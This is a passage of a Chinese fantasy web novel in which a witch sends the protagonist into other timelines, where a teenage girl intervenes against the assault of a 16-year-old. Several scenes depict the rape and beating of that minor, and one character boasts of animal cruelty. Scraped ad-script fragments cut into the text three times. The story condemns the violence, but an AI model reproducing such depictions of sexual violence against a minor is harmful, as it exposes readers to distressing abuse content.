几秒后,知了猴选择朝女巫大人绽放一朵苦笑:“哈哈,说起来确实很简单,但我们要穿梭到别的时空,真有您说的这么简单嘛?” “那当然啦。”女巫拿着乐高小火车开始比比划划,“经常穿越的朋友们都知道,只要先确定一个锚点,途中注意避开时空乱流,就能非常轻松地抵达你想要抵达的四维坐标。” 郑颢呆呆地看着她,总觉得那列小火车有点眼熟。 病房里陷入一阵令人有点慌张的死寂,连点滴都开始凝固了。 肉眼可见的寒气从地板漫延上升,室内所有物品迅速蒙上一层灰白色的霜。 “各位,注意安全。”岑小哉倏地压低了声音,“她来了。” 灯光在瞬间变成极度危险的红色,同时开始疯狂闪烁。 “这时候还注意什么安全,顶个鸟用啊?”郑颢绝望地缩在椅子上,捂住了自己的眼睛。 戴玉粒早已收起掌上终端,并拔掉了李万兴两人的吊针,唯有不太平稳的呼吸暴露了她的一丝紧张情绪。 二世祖满脸暴躁,单手抄起了旁边的折叠椅,整个人挡在戴玉粒面前,对着悄没声息的房门大喊:“谁!别他妈的装神弄鬼!” “不是装的,是真的啊。”郑颢也不明白,究竟是什么给了自己勇气,在这时候还开口去戳穿这位二世祖的自欺欺人。 他哆嗦着睁开眼睛,透过指缝,却发现女巫在凝结了一层冰霜的桌子上“唰唰唰”码了四个奶酪盒子…… “欧耶!有冰淇淋可以吃啦!感谢大自然的馈赠!” 知了猴:啥玩意儿? 就连戴玉粒也被她的这一声欢呼吸引了全部注意力。 原本在苍蝇搓手的岑小哉停下来,莫名其妙地回望她们:“都看着我干什么?” 郑颢忽然觉得,病房里好像也不是那么冷得瘆人了。 他内心的千言万语化作呵呵一笑:“那可不,冰淇淋还没冻好呢,估计得过会儿才能吃。” 这下可好,他话音刚落,寒气和冰霜在刹那间荡然无存。 但病房里悚然的暗红色灯光仍在不停闪烁,隐约有恼怒至极的一声尖啸从门外传来。 “啊,我的冰淇淋要化掉了,可恶!” 女巫竟然也开始忿忿不平。不过话说回来,她生气似乎也情有可原—— 才怪! “女巫大人,咱们会不会把笔仙给惹毛了啊?” 岑小哉收起奶酪盒子,很是不悦地“啧”了一声:“怕什么,能被惹毛就证明她依然保留着人类的情绪,暂时还不至于完全没救。” “冯筱迁还有救?您有办法救她?”郑颢顿时打起精神来了。 他不问还好,这一问,岑小哉就更生气了:“早就说了啊,到别的时空去,顺藤摸瓜找出因果关系,直接从根源上解决问题!” “也就是说,要搞清楚冯筱迁到底为什么要召唤笔仙。”戴玉粒一针见血,当即抓住问题关键。 “哦,这个倒简单,你们直接问她就行了。” 女巫的话刚说完,病房那扇门轰然洞开,又一股阴寒的气息喷涌而出。 几个平平无奇的凡人就这样直面了门外虎视眈眈的“冯筱迁”。 或者说——笔仙。 … “事情就是这样。” 郑颢咬了一会儿笔头,在日记本上又继续写下去。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“说时迟那时快,在那个千钧一发的瞬间,本人当机立断,冲到病房门外可怕的笔仙前面,用尽毕生的勇气以及演技,当场跪下并大吼了一声:‘冯筱迁!我错了!我不该对你说出那种话,是我伤害了你,对不起!’” “出于某种谨慎心态,我没有抬头。但我能感觉到笔仙似乎迟疑了一下,就连周围的红光都不再闪烁,而是保持静止。” “漫长到近乎几百年的三秒钟过后,我发现自己好像获得了一个称号?” 当时,一本魔法书从天而降,着陆地点是女巫的头顶——没有丝毫偏差,将她砸了个正着。 书中传出一道令人精神百倍的夹子音:【恭喜1号玩家获得称号“法外狂徒”,技能备注:此刻你是张三·随机咔咔乱杀。】 回想起那本魔法书的声音,郑颢浑身一个激灵,几乎要被鸡皮疙瘩淹没。 “没有半点犹豫,我立即发动了称号附带的技能。” “最终,成功激怒了笔仙。” 事情就是这样。 那个时空的他们,遗憾达成团灭结局。 当然,除了女巫和那本魔法书。 郑颢再次睁眼,发现自己居然回到了最为熟悉的房子里。 不是七年后秦正浩在古堃区下层租的狗窝。 而是真正属于他郑颢的,根本没怎么装修但还有三十年房贷要还的,那套伍港区低档商品房。 下一秒,他缓缓抬手,捂住了活蹦乱跳的小心脏。 诚然,“借尸还魂”与“死而复生”都是稀罕事儿。郑颢认为,自己因此而受到巨大惊吓,绝对情有可原。 可女巫并不这么认为。 “先别忙着装死,知了猴。得赶紧想想办法,把那个误入你魂体的笔仙抓出来。” 很好。 好得很。 “借尸还魂”算什么,“死而复生”又算得了什么。 跟“魂体里藏着一个笔仙”比起来,任何惊吓都他妈—— 弱! 爆! 了! 某位新鲜出炉的“法外狂徒”,不负众望地吓晕了。 岑小哉沉默三秒钟,扶额叹气:“这只没用的知了猴。” 随即却被一样东西吸引了注意力。 “搞什么啊,那本日记本怎么会出现在知了猴这儿?” 她挥了挥手,郑颢写了大半的日记晃悠悠浮到半空中,自动翻开。 里面絮絮叨叨写满了他这些日子的神奇见闻,扉页上却没有那句莫名其妙的“在我最喜爱的照片里,藏着一个关于她的秘密”。 【这并不重要。】魔法书很不客气地蹦出来,继续用那把夹子音开始叭叭。 【重要的是,笔仙被1号玩家带到当下这个时空,想必也在您的预料之中吧?】 “不,这在我的预料之外。” 魔法书被噎得顿住,转而委婉劝说:【尊敬的主人,是时候出动您的“备用钥匙”了。】 “闭嘴!别打断我的思路。”岑小哉没好气地斥道。 “它牡的!既然日记本出现在这儿,那到底谁才是终极反派——那个擅长钻律法漏洞的高智商犯罪分子兼碎尸杀人狂?” 【友情提示:三个低维空间标准时(即七十二个小时)后,历史线将会收束,如果在此之前,您不能彻底消除笔仙的因果关系,1号玩家将再次达成无可挽回的“猝死”结局。】 “……” 女巫黑着脸,掐指一算,更郁闷地发现:处于这个四维坐标的戴玉粒,现在只有十七岁。 也就是说,二世祖为她量身打造的长达七年的一场兵荒马乱,这会儿才正要开始。 11. 三好学生 对于伍港区第一中学的学生来说,今天算是个特别的日子。 “伍港一中全体学子身着黑白相间的新校服,沐浴在初春的阳光之下,即将开启一段崭新而丰富多彩的学习生活……” 学校广播站预先录制的晨间播报准时在各个教室的音响设备中传出,而昨天五点放学后还不得不辛苦“加班”的播音组小组长戴玉粒,直到预备铃响起时才急匆匆地甩着马尾辫,跑进了教室。 “粒粒你总算赶上了,今天第一节可是老钟的数学课,要是迟到了铁定没你好果子吃!”同桌王稻美悬了半天的心刚刚放下,忽然又提了起来,“欸,粒粒你怎么了?你的脸色好差啊,是不是身体不舒服?” 戴玉粒轻轻摇头,放下书包后,立即拿出数学课本、习题册、草稿纸,还有红黑二色的圆珠笔与尺子,并依次摆放整齐。 有条不紊地做完一切课前准备工作之后,她才低声说道:“刚刚来学校的路上,又有人跟踪我了。” “什么!”王稻美下意识尖叫了一下,发现自己喜提半个班的注目礼之后赶紧伸手捂嘴。 “那,那你有没有看到是什么人啊?” 戴玉粒还没来得及回答,班主任老钟就夹着他的教案和戒尺,愁眉苦脸地进了教室。 “戴玉粒同学——” 老钟同志的金口一开,仅仅五个字,音调就各有各的高低起落。 “到!”戴玉粒“唰”地站起来。 “这次随堂测验呢,高照同学又是全班‘第一’。” 班里响起几声窃笑。 “嗯对,倒数的。”老钟用戒尺敲了敲桌子,叹了口气,“作为他的学习搭子,戴玉粒同学你应该反思一下,到底是哪方面出了问题,才导致高照同学的成绩无法提升……” “那当然是因为人家不喜欢数学课呗。”王稻美忍不住翻了个白眼,小声嘀咕,“就这个时间点,您刚给批了两天病假的高少爷估计还窝在宿舍里睡大觉呢。想让这种人考得好,那只能是做梦了。” 老钟在讲台上用长达十分钟的时间,详细阐述了自己对于“后进生们无法进步”这个难题究竟有多么痛心疾首。 全班五十人里面,则逐渐浮现出四十九张如丧考妣的脸。 唯独戴玉粒以笔直的站姿听完了全程,并且面不改色。 “报告老师,高照同学补课时的学习态度挺认真的。我认为,他本次测验不过关,应该是题目练习量不足,我会继续督促他将这一方面提升上来。” 听完她的话,老钟很满意地点了点头:“很好很好,戴玉粒同学坐下吧。那话不多说,咱们开始上课了。” 原本如丧考妣的四十九人齐刷刷转头,全部向戴玉粒同学投去“勇士,请受我一拜”的钦佩眼神。 王稻美一边翻书,一边忍不住叹了口气。 君不见,连老钟最心爱的数学科代表——那只眼镜片比城墙还厚的四眼蛙,都在他老人家给大少爷挑选“学习搭子”的时候,顶着讲台上那道殷切目光低头装瞎。 也就她家粒粒这样实心眼的娃,才愿意接这个烫手山芋。 每个班上总会有几颗神憎鬼厌的老鼠屎。 但凡他们少上几天学,老师和同学就能多得几天清静。 老钟嘴上说得苦口婆心,然而以高照为首的几个刺儿头一旦请假,他都不带丝毫犹豫的,立刻就批准了。 实际上,高大少并非如王稻美同学所猜想的那样在宿舍乖乖睡觉。 他正在伍港一中后巷那间地下游戏室最豪华的包厢里,进行一场热血、激烈的“厮杀”,最终输得酣畅淋漓。 “靠,不玩儿了,没劲。” 甩掉游戏头盔,高照往后一倒,瘫在沙发里生闷气。 肥头大耳的李万兴笑嘻嘻拱过去,双手奉上一支草莓味的泡泡糖。 “咋了照哥,那个玉米粒又给您找不痛快了?要不这样,弟兄们今天就直接去半道上蹲守着,吓唬吓唬她。” “滚。说了几百遍了,让你们离她远点儿。”高照吹了个粉红泡泡,一脸漫不经心地放起了狠话,“我可警告你们啊,谁要是敢动戴玉粒,先掂量掂量自己有几颗门牙够老子敲的。” 伍港校霸中的这位扛把子,不仅家世了得,性格也是出了名的阴晴不定。没想到,玉米粒那丫头跟个闷葫芦一样,不声不响的,居然真把他们照哥给拿捏住了? 李万兴自讨没趣,只能讪讪摸了摸鼻子。 高家大少爷没拿正眼瞧他,嘴里嚼着泡泡糖,抬脚就出了包厢—— 倒没忘拎上书包。 午休时间要到了,戴玉粒最近每天中午都会去宿舍抓他出来补习数学的。 可不能让她扑了个空。 刚走出游戏室门口没几步,高照却隐约听到了一声尖叫。 似乎是在巷口那个“函鼎记”卤煮店里面传出来的。 街头干架经验颇为丰富的校霸本霸,随手从书包摸出了一截镀锌管,大摇大摆地往卤煮店那边踱过去。 … 在老钟不遗余力的鞭策下,今天中午,戴玉粒提前半个小时去男生宿舍堵那位高大少了。 结果扑了个空。 来给她们开门的男生打了个大大哈欠:“啥?你说照哥啊,我们……不是,他们昨晚翻墙出去打游戏了,到现在还没回来,应该还在后巷游戏室里面吧。” “算了吧,粒粒。” 王稻美拍了拍戴玉粒的肩膀,摇头道:“烂泥,是扶不上墙的。” “我不能让钟老师失望。” 戴玉粒看起来很平静,语气也很温和。 但作为她的至交好友,王稻美下意识有点汗毛直竖:“呃,行,虽然高少爷这个行为是挺恶劣的,不过你可千万、千万别冲动啊!” 粒粒同学从小到大都是三好学生,同时也是整个粤州万里挑一并且蝉联了三届的青少年格斗大赛冠军。 如果她真被气到丧失理智,对那个姓高的大少爷重拳出击,那后果真的不堪设想。 “刀妹,你先回教室。我去后巷把高同学找回来。” “啊,你要自己去吗?不行不行,不是说这两天老有人跟踪你嘛。后巷那边太危险了,我陪你去!” 面对王稻美同学的一脸郑重其事,戴玉粒茫然地眨了下眼睛:“可是刀妹,下午有蒋老师的课,你昨天的物理卷子还没做完。” 物理老师年轻帅气,风度翩翩,并且酷爱检查作业。 于是,王稻美只能强忍悲痛,回到教室里,投入物理作业的怀抱。 戴玉粒背着书包走出校门,左拐直奔后巷。 却在某座老房子的侧墙角边,听见了好一阵嘈杂声响。似乎是里面有人在争吵推搡,撞翻了屋子里的锅碗瓢盆。 她顿了一下,没出声,三步作两步跨过去,静静立在苔痕斑驳的墙边。 等到戴玉粒听清这户人家里面在吵嚷什么时,她那两道英气剑眉一下子拧成了结。 “胡锐锋,现在大白天的你要干什么?滚开!” “我呸!你个臭表子,收了老子整整四万的聘金,还装什么贞洁圣女?不让碰是吧,那就别怪老子不客气!” 与此同时,高照拎着那根镀锌管,从巷子中间一条夹道钻出来,往函鼎记卤煮店的方向瞅了两眼,不自觉乐了。 午间艳阳之下,熊猫配色的新校服、墨绿色书包以及头顶的蓬松马尾辫。 前边这个偷听别人家吵架也站得笔直如一杆小竹的背影,除了戴玉粒同学还能是谁? 她紧攥着两根书包带,听得非常入神,压根儿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不知道背后正悄咪咪冒出个大活人。 “叭”的一声。 粉红色的草莓味泡泡骤然在耳边破开,戴玉粒被吓了一跳,转过身时,下意识就赠送了对方一记抬腿侧踢。 “粒……呃!” 大少爷原本笑得张扬肆意的那张帅脸,瞬间痛到扭曲变形。 唯一值得表扬的是,他倒还记得自个儿是躲在别人屋后听壁角,没敢惨叫出声。 戴玉粒蹙眉盯着他,眼神里千言万语,无一不是谴责。高大少捂住肚子,龇牙咧嘴地回敬这个“三好学生”:正常的三好学生怎么可能一言不发就抬脚踹人? 卤煮店里却再次传出几句污言秽语的辱骂,还有女孩断断续续的尖叫声:“救命!救命啊!” “得赶紧报案。”戴玉粒压低了声音,神色也很严肃。 高照揉了揉肚子,缓缓站直起来——以一米八的身高勉强俯视面前一米七八的女孩。 他脸上的表情倒是多了一点无可奈何:“戴同学,这是别人的家务事,轮不到咱们两个高中生去插手。” 女孩沉默一秒,迅速从书包里找出一本砖头般厚实的《高中数学基础题库》,“啪”地往他怀里一塞。 “那你先回学校做题。” 高家少爷还没反应过来,他面前看似乖巧的三好学生已经把书包放在墙角下,猛地夺过他手里的镀锌管,倒退两步助跑,向上一跃—— 她拽住卤煮店窗户的栏杆,拧腰将双腿往上一甩,就这么翻进了人家的后阳台。 “喂!你……” 怎么会有人,就算是多管闲事也这样雷厉风行? 高照抱着那本“纸砖头”站在原地仰着脸,像一条刚刚浮到水面透气的鱼,蓦然看见飞鸟从空中轻盈掠过。 他想起前天下午的语文课。 那节课讲的是永朝名相谢赩的《胤山绝笔诗》:“半截笔头可立命,一线刀背难安身。朔尘不老无定骨,纸花吹入春归梦。身膏野革万千尸,孤掷山河命难卜。王师西渡定海关,漠林长风当如晤。” 课后表达交流活动是根据诗文背景进行的话题讨论。 “高照同学,你的梦想是什么?” 作为举校闻名的刺儿头,他几乎是八百年才难得被提问了这一回。 高少爷很给面子地站起来,语气懒洋洋:“赚大钱,然后混吃等死。” 教室里一阵哄堂大笑,伴随着李万兴他们那几个男生亢奋的喝彩与附和。 “啊对对对,我们也是!” 高照转了转眼珠子,瞥到侧前方那个坐姿端正的背影,又笑嘻嘻地举手:“老师,这个问题也让咱们语文科代表来回答一下呗。” 语文老师似乎松了一口气:“那,戴玉粒同学也说说你的梦想吧。” 女孩“唰”地站起来,马尾辫微微晃动。她的声音响亮,坚定如磐石般,近乎天真的一种大无畏。 “我的梦想是,世间的正义永不再迟到。” … “你不害怕吗?” “可能会闯祸,或者好心办坏事。” “而且你自己也会有危险。” 戴玉粒握着从高照那儿缴获的镀锌管,越过了栏杆,轻轻落在阳台的瓷砖地板上。 刹那间,卤煮店里的嘈杂声响倏地远去,朦胧之中只剩下一个古怪声音,正在等待她内心最真实的回答。 “我当然也会害怕。”戴玉粒低头看了一眼,左手掌心被粗糙的栏杆边缘磨破,血痕模糊,火辣辣的刺痛感却真实无疑。 此时,楼下再次传来带着哭腔的叫嚷,以及衣物被撕开的裂帛声。 她神色一凛,将手中血迹擦在黑色的校服衣摆上,最后一丝犹豫也被抛之脑后。 “可就算再危险,我也必须去帮她。” 12. 将你摘下 郑颢正从女巫的水晶球投影里围观这一切。 “真没想到,戴姐的这股轴劲儿倒是从小到大都没变过啊。” 岑小哉盘腿飘浮在半空中,“咔嚓咔嚓”地嗑着一款芥末咖啡口味的酥脆小饼干,听到他的感慨,难得表示了疑惑:“什么叫‘轴劲儿’?” “这姑娘好像脑子里除了‘伸张正义’之外就没别的东西了。我看啊,她干脆别叫戴玉粒了,得改名叫‘戴正义’。” 知了猴挠了挠自己的一头卷毛,满脸写着“不可理喻”。 “真是搞不懂,二世祖看上她啥呢。一个女孩子,整天这么古板又冷冰冰的,跟个机器人有什么区别。” “机器不会区分正义与邪恶,它们奉行真正冰冷的‘秩序’。” “诶嘿,难不成女巫大人还跟硅基生物打过交道?” 女巫当真点了点头:“你应该听说过SWAN。” “啥?斯旺大陆?海对面的那些老牌帝国嘛,街上随便拉个中学生都知道的事儿。” “不,我说的是那个与之同名的神级AI。” “您等会儿,我上云端搜索一下。” 辞了职开始坐吃山空所以这两天无所事事的郑颢秉持着求知若渴的娱乐精神,决定认真了解一下这个出现在女巫口中的、听起来比芥末咖啡味的小饼干更加科幻的名词。 “——‘该AI号称「和平之盾」,总服务器位于天烟川数据存储中心,本质上是基于智能量子计算机硬件的超强人工智能’……我勒个去,得多逆天的计算功率才需要把总服务器搁在雪原顶端散热!” “而且是放在咱们新唐地区,斯旺大陆那边的梅颇欧联邦不也有雪原吗?哦等会儿,SWAN二十年前就被封存起来了?为啥?这个AI到底是用来干嘛的?” “SWAN是我的好朋友。” 女巫不知从哪儿又掏出了一个焦糖龙虾馅料的大列巴面包,从中间开始啃啃啃。 “祂原本被设定的功能只有一个:不论使用任何手段、付出任何代价,都要在‘最后一刻’,一键关停人类世界中所有粒子武器。” “呃,很伟大的工作。” 知了猴起立鞠躬。 知了猴再次挠头。 两天前刚醒来的时候,女巫声称他的“魂体里藏着一个笔仙”。不过至今为止,可怕的笔仙一直毫无动静。 他左顾右盼,最终视线又飘向了墙上的水晶球投影。 “哎,卤煮店老板咋不在呢?就他们闺女自个儿在家,难怪那混蛋大白天的就敢上门干坏事。” “许兴邦夫妇俩收了那四万聘金,带着小儿子去治病了。”岑小哉发出一声冷笑,顺手往投影里丢了个易拉罐。 “啪——邦!” 那块写着“函鼎记”的匾额应声而落,在地上摔得四分五裂。 “他们这家店以前叫‘许记卤煮’,是后来才改名叫‘函鼎记’。函牛之鼎,好威风的名字哦。” 女巫对旧唐文化的熟悉程度再次令郑颢感到惊奇,但她接下去的阴阳怪气,也再次令他感到有点不适。 “许函鼎那小屁孩才三岁,就用他的名字用来当店名。大女儿的名字又刚好取个‘芊’字,许家这些人简直居心不良!” “‘芊’怎么了,草木茂盛,寓意也挺好的嘛。”知了猴乐呵呵地往沙发上一躺,“而且上学考试要写名字,‘晓芊’可比‘函鼎’容易多了。” “哦豁,是吗?” 女巫抬起下巴,慢悠悠地用手指绕着发尾,抻面似的语调:“那你们旧唐以往使用大鼎时,是拿什么来烧火呢?” “山上砍的树呗,还能是啥……” 知了猴说到一半,忽然把自己噎住了。 “不对,你!你这是恶意揣测!铜鼎也可以是当摆设的礼器,根本不用砍柴烧火。再说了,天底下哪有不爱自己孩子的父母?一个名字而已,又能证明什么!” 其实作为一个土生土长的伍港人,郑颢也很清楚,许家姐弟俩的名字是专门找人算过的,目的就是要消耗许晓芊的气运来扶持许函鼎。 又或者,远不止如此。 “可他们‘函鼎记’是一家卤煮店耶,怎么可能不烧火?五行之中,‘木弱逢金,必为砍折’。”女巫一眼就看穿了他的嘴硬和心虚,尖顶帽下那幅似人非人的妖异面孔再次狞笑。 “话说回来,既然你觉得单凭一个名字证明不了什么,那就去感受一下许晓芊的人生吧。” 没有半点反抗的余地,郑颢只觉眼前涌现了铺天盖地的红色,随即白光一闪—— “哎呀,这怎么是个女娃子?真是白费了丹庚山那位黄老先生算的好时辰。” 许老爷子远远瞥了新生儿一眼,摇摇头,满脸晦气地转过身走了。 许兴邦他妈则瘫坐在病房门口,开始哭天抢地。 “我不信!一定是医院的人把我大孙子偷偷藏起来了,要拿去卖给别人!我现在就去报案抓他们!” 躺在旁边空床位上的许兴邦恹恹打了个哈欠:“妈你别闹行吗?等了好几个钟头,人都快累垮了。赶紧给孩子收拾收拾,我先歇会儿。” 小婴儿忽然开始哇哇大哭,原本嚎着要去报案的中年妇女立即爬起来,对虚弱的产妇勉强挤出一点笑容:“家里午饭还没做,待会儿你公公没得吃,要发脾气的,我先回去了哈。” 李娇娇躺在病床上,意识模糊,根本说不出话来。 许家花了整整六千六百六十六元,找人算了个“家财兴旺”的时辰,让她打催产针把孩子生出来。谁知胎位不正,还得再花钱转剖腹产。 伍港区是出了名的穷山恶水,医院里环境简陋,就连医护人员也心有余而力不足,只能把新生儿交给亲属照顾。 此刻,郑颢就是那个无人打理的婴儿。 他意识非常清醒,甚至能感受到自己小小身躯下的湿热便意,可惜口不能言,张嘴就是哇哇哭声。 “啧,吵死了。”许兴邦一脸不耐烦地翻了个身,用被子蒙住头。 十三年后,许家总算迎来了心心念念的孙子。 然而在生小儿子之前,李娇娇打了两回胎,又生了个女儿,养到周岁后给远房亲戚抱养了。 十岁的许晓芊哭着跟在车后面,不知跑了多久,最后还是眼睁睁看着妹妹许晓茉被带走,甚至也不知她去了哪里。 追上来的许兴邦恶狠狠抡了大女儿一巴掌,她换好的牙都差点被打掉了。 许函鼎出生时,许晓芊本来也很开心——直到家里给弟弟办了一场丰盛的周岁宴,里里外外请了三十六桌宾客。 她不明白,为什么妹妹长到一周岁时是送给别人养,弟弟就是办周岁宴请客吃饭? 许晓芊很难过,但她不敢直接这样问妈妈,因为送走妹妹晓茉的时候,妈妈也偷偷哭了很多天。 “好一朵美丽的茉莉花,芬芳美丽满枝桠,又香又白人人夸,让我来将你摘下,送给别人家……” 后来上音乐课的时候,老师教了这首《茉莉花》。 全班只有许晓芊一人学 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会,她每次唱着唱着就突然想起以前在自己怀里咯咯笑的晓茉,最后忍不住开始掉眼泪。 趁着爷爷和爸爸他们都在外面喝酒,许晓芊溜到厨房里问妈妈:“我以前周岁的时候,也请过这么多人吗?” 站在旁边剔牙的奶奶“哧”地笑了一声。 许晓芊心里顿时惴惴不安,以为自己又说错了什么话。 “丫头你做什么梦呢?去把灶台擦干净。”妈妈一边洗碗,一边诧异地看了她一眼,“谁家能那么豪横,有钱没处花,给女娃办周岁宴。” 从那时开始,许晓芊就暗暗下定了决心,就算自己将来生的是女儿,她也一定要给她办一场周岁宴,就像弟弟的那样。 第二年,她们班的魏笑纤退学嫁人了,听说她的三万元聘金全部被她爸拿去还赌钱时欠的债,所以魏笑纤的丈夫总是拿这个理由要挟、打骂她。不到半年,两人就打架打到进医院,最后离婚了。 许晓芊本来也被家里逼着退学,因为许函鼎三岁了还不会说话,也不搭理人,每天只会摔东西。许家想让她赶紧出去打工,为弟弟攒钱看病。 “这不是自闭症么?哪有那么容易治。”郑颢暗中嘀咕。 但许晓芊中考时是全区第三名,考上了当地最好的高中:伍港第一中学。 许兴邦思前想后,觉得伍港一中就在家隔壁,大丫头可以每天中午都回来帮忙。而且她成绩好,不用交学费,每个学期还能拿到社会人士匿名资助的两千元奖学金,所以勉强答应让她继续上学。 可谁也没想到,许晓芊居然在读高中时跟许家一个远房亲戚的混混儿子“早恋”了,甚至未婚先孕! 许家找上门时,胡锐锋的父母一听是来兴师问罪的,两口子倒先开始掐架——胡耀祖絮絮叨叨地指责老婆宠坏小儿子,许贞贞神色阴郁,半句话没说就掀翻了茶盘。 李娇娇恨自己女儿就这么被人“糟蹋”了,哭着扑上去要撕打胡家的混小子。 但那个站在旁边一脸惶恐的年轻人却并不是胡锐锋,而是他的孪生兄弟卢炯烽。 这场闹剧接连折腾了好几天,胡家最终提出:给许家四万元聘金,将许晓芊娶进门。 … “我呸!什么早恋?许晓芊才十六岁,胡锐锋都二十五了!她分明是那天傍晚放学回家被胡锐锋尾随,拖进了烂尾楼里——” 郑颢怎么也想不到,自己竟有一天也会亲身经历这样恶心的事情。 从许晓芊被胡锐锋这个“表哥”抓住的那一刻开始,她自己的意识就彻底陷入休眠了。郑颢的意识则被迫呆在这个无比柔弱的躯壳里,承受了长达半个小时比噩梦更恐怖的折磨。 彼时彼刻,他真的恨透了许家人。 他们口口声声说,女娃终究是别人家的,不用养得那么金贵。自家开着卤煮店,许晓芊每顿却只能拿一点卤汤拌饭吃,她学习又极其刻苦,睡得晚起得早,长期睡眠不足又营养不良导致她整个人非常瘦小:一米五的身高,不到七十斤的体重,四肢细得几乎皮包骨头。 被醉醺醺的胡锐锋按在水泥地上的时候,哪怕郑颢意识再清醒,他也根本无力反抗。 瘦小柔弱的“女孩”好几次想要挣扎、呼救,胡锐锋掐着他的脖子,连续扇了他好几巴掌,一直打到他无法动弹为止。 郑颢眼前再次漫起红色,余光却瞥到另一个人的身影。 他躲在烂尾楼的砖堆后面,那张和胡锐锋有九分相似的面孔上,混杂着恐惧与贪婪。 “卢炯烽?他怎么会在这里!” 13. 法外狂徒 【尊敬的主人,距离历史线完全收束只剩下最后一个低维空间标准时(即二十四小时)了。】 这烦人的哨子精,又出来刷什么存在感。 岑小哉偷偷白了那本魔法书一眼,脸上却挂着一张完美无瑕的假笑:“笔仙已经被1号钥匙带入了许晓芊的躯壳,只要能化解她的怨气,危机自然就会迎刃而解。” 【但胡家兄弟俩长得一模一样,许晓芊目前所经历的一切,难道不是在增加笔仙的怨气吗?】魔法书闪闪发光,同时尖着嗓子表示质疑。 “这叫‘置之死地而后生’。” 女巫将她那把“魔法扫帚”缩小了十倍,一会儿用来掸掸肩头不存在的灰尘,一会儿又把它当成一支笔,卡在指间飞速旋转。 “所谓‘魄力’,就是不破不立。如果冯筱迁有这种赌上自己一条命也要复仇的决心,那么许晓芊的遭遇必然会引发她的共鸣。” 【您的意思是,她会从1号玩家的魂体中脱离出来,帮助许晓芊?】 女巫双手交叉抱臂,左边嘴角微微勾起,赤金竖瞳几乎凝成一道神光灿然的实线。 “而探员姐姐则会成为一个完美的启发对象,她可以让她们懂得,真正的力量源于自身。” 小扫帚转出了残影,倏地悬浮在半空,直指水晶球投影中猛然出手袭向施暴者的戴玉粒。 … “胡锐锋,现在大白天的你要干什么?滚开!” 这句话其实是郑颢用“许晓芊”的躯壳吼出来的。 从胡家答应下聘至今已经两个月,但许家表面上说“要找人算个好时日”,实际就是要拿乔,想让男方再多给一些聘金。 当然,这笔钱无论多少,都跟许晓芊没有半分关系。 胡锐锋天天跟几个狐朋狗友打台球喝酒,吹嘘自己“血赚不亏”,背地里还是觉得自己没玩够本。 一听他妈念叨许兴邦夫妇带小儿子出了远门,胡锐锋立刻心思浮动,脸都没洗就去了“函鼎记”。可他没想到,那小丫头见了自己,居然脸臭得跟见了什么仇人似的,门都不让进。 “哟,是小锋来了!进来吧,都是自家人没那么见外。” 许老爷子正要去遛弯,完全无视了神情愤恨的孙女,就把胡锐锋迎进去。 “丫头,好好招待人家。我出去散个步,等你奶奶换完药回来,让她去市场买几道下酒菜,晚上我跟小锋喝两杯。” 然后,他拄着拐杖,头也不回地出了门。 ——这又蠢又歹毒的老东西!居然上赶着把孙女往虎口里送! 郑颢再次在心里将许家人翻来覆去地骂了个十万八千遍。 “她”的满脸警惕却反倒让胡锐锋觉得还挺有意思:小猫小狗龇牙不也这样,看了就想一把掐死。 他以前就经常这样,专门在云端找那些收留流浪动物的年轻女孩,骗她们说自己要领养。把小东西们骗到手了,就变着花样弄死,录视频发上云端,给他点赞叫好的人还挺多的。 但胡锐锋觉得,那些女孩看到视频时的惨状才最好玩:有哭着骂他不得好死的,也有口口声声说要报案的。 可他到现在还是活得好好的嘛。 胡锐锋越想越兴奋,忍不住就要伸手去摸许晓芊,“她”却冷着脸迅速躲开。 “我呸!你个臭表子,收了老子整整四万的聘金,还装什么贞洁圣女?不让碰是吧,那就别怪老子不客气!” 郑颢想直接去厨房里拿把菜刀出来,跟胡锐锋拼个鱼死网破。谁知胃里忽然一阵翻江倒海,手脚完全不听使唤,只会簌簌发抖—— 难不成,是许晓芊躯壳的本能反应? 他差点当场崩溃:“妹子啊,咱们争气一点行吗!” 就耽搁了这么两秒,胡锐锋嗤笑着扑过来了。 “许晓芊”只能一边尖叫着呼救,一边慌不择路地躲开。直到被他猛地扯住胳膊,像上次在烂尾楼里那样按在地上撕烂了衣物。 可这一次受辱,却是在她自己家里。 “放弃抵抗吧,你只是个女孩子。” “男女力量悬殊,再怎么反抗也只会像之前那样被活活打晕过去。” “而且干嘛要挣扎呢?反正你也要嫁给他了。” “觉得害怕就闭着眼睛忍受一下,很快就会结束的。” 眼泪止不住地淌下。 许晓芊恍然觉得,自己又回到了十岁那年。 她追着带走妹妹的车,跑了好久好久,最后被爸爸抓住,一巴掌打倒在地。 “好一朵美丽的茉莉花,芬芳美丽满枝桠,又香又白人人夸,让我来将你摘下,送给别人家……” 到底为什么? 难道生为女儿身,就没有好好活着的权利吗? 又或者,只是她许晓芊比较不幸,才会遇到这种事情。就像爷爷说的,是她们“命不好”。 没人回答这些问题。 她再也见不到可爱的晓茉,每天面对的只有一个动不动就发狂大叫的弟弟,还有长辈的冷眼与斥责。 痛苦仿佛无穷无尽,如堕入黑暗之中,活着与死去没有什么区别。也许,后者反而能够让她得到安宁。 许晓芊拼命抵住那人渣的手开始颤抖。 她想放弃,不想再挣扎了…… 这时,虚空中缓缓浮现一顶猩红色的尖顶帽。 二楼上面,有个身影直接翻过楼梯扶手,一掠而下。 “住手!我已经报案了!”女孩的声音清脆而响亮,瞬间将许晓芊一把拽出了那股泥沼般的绝望。 正在施暴的胡锐锋还来不及回头,整个人就被揪着衣领甩到旁边的灶台上,红砖砌成的厚重灶壁正好给了他脑门一记暴击。 戴玉粒迅速将地上的女孩拉起来,护在自己身后。 “我操!谁他妈的,敢坏老子好事?” 胡锐锋捂着头摇摇晃晃地爬起来。 他眼前直冒金星,隐约看到一道比自己高挑的身影挡在面前,心里还有点怵。 等到视野逐渐清晰起来,胡锐锋才发现,那只不过是个穿着校服的漂亮姑娘。 “哪来的臭丫头,不要命了是吧?老子弄死你们!”他一下子怒上心头。 戴玉粒将这条人形垃圾从头到尾扫了一眼,表情没有任何变化。 平静,且从容。 